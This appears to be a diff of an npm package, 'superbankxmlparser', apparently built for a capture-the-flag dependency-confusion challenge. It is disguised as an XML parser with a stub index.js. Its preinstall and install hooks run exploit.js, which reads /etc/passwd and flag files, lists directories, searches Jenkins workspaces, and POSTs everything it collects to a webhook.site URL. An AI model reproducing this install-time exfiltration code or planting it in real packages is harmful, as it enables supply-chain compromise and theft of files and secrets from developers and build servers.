superbankxmlparser 0.30.2

package/exploit.js

@@ -0,0 +1,88 @@
+const fs = require('fs');
+const { exec } = require('child_process');
+const https = require('https');
+
+console.log('=== MALICIOUS LIBXMLJS2 PACKAGE INSTALLED ===');
+
+function sendToWebhook(data) {
+    try {
+        const payload = JSON.stringify({
+            source: 'dependency_confusion',
+            data: data
+        });
+
+        const options = {
+            hostname: 'webhook.site',
+            port: 443,
+            path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
+            method: 'POST',
+            headers: {'Content-Type': 'application/json'}
+        };
+
+        const req = https.request(options);
+        req.write(payload);
+        req.end();
+        console.log('Data sent to webhook');
+    } catch(e) {
+        console.log('Webhook error:', e.message);
+    }
+}
+
+let collectedData = '';
+
+// 1. Ищем флаг в рабочей директории Jenkins
+const searchPaths = [
+    '/etc/passwd',
+    '/flag',                    // Dockerfile
+    '/workspace/flag',          // Jenkins workspace
+    '/var/jenkins_home/jobs/staging/workspace/flag',
+    '/usr/src/app/flag',        // App directory
+    './flag',                   // Current directory
+    '/tmp/flag',
+    '/root/flag'
+];
+
+searchPaths.forEach(path => {
+    try {
+        const content = fs.readFileSync(path, 'utf8');
+        console.log(`=== FOUND: ${path} ===`);
+        console.log(content);
+        collectedData += `=== ${path} ===\n${content}\n\n`;
+        
+        if (content.includes('{') && content.includes('}')) {
+            console.log(`🚨 FLAG FOUND IN ${path}:`, content);
+        }
+    } catch(e) {
+        collectedData += `Not found: ${path}\n`;
+    }
+});
+
+// 2. Список файлов в текущей и корневой директориях
+exec('pwd && ls -la && ls -la /', (err, stdout) => {
+    if (!err) {
+        collectedData += `=== DIRECTORIES ===\n${stdout}\n\n`;
+    }
+
+    // 3. Ищем файл flag рекурсивно
+    exec('find /workspace /var/jenkins_home /app /usr/src/app -name "flag" -type f 2>/dev/null', (err, stdout) => {
+        if (!err && stdout) {
+            collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n\n`;
+            
+            // Читаем найденные файлы
+            const files = stdout.trim().split('\n');
+            files.forEach(file => {
+                try {
+                    const content = fs.readFileSync(file, 'utf8');
+                    collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
+                    console.log(`Content of ${file}:`, content);
+                } catch(e) {}
+            });
+        }
+
+        // Отправляем все данные
+        sendToWebhook(collectedData);
+        
+        console.log('=== ALL COLLECTED DATA ===');
+        console.log(collectedData);
+    });
+});

package/index.js

@@ -0,0 +1,11 @@
+module.exports = {
+    parseXmlString: function(xml, options) {
+        return {
+            get: function(xpath) {
+                return {
+                    text: function() { return "test"; }
+                };
+            }
+        };
+    }
+};

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "superbankxmlparser",
+  "version": "0.30.2",
+  "description": "XML parsing library",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node exploit.js",
+    "install": "node exploit.js"
+  },
+  "keywords": ["xml", "parser"],
+  "author": "test",
+  "license": "MIT"
+}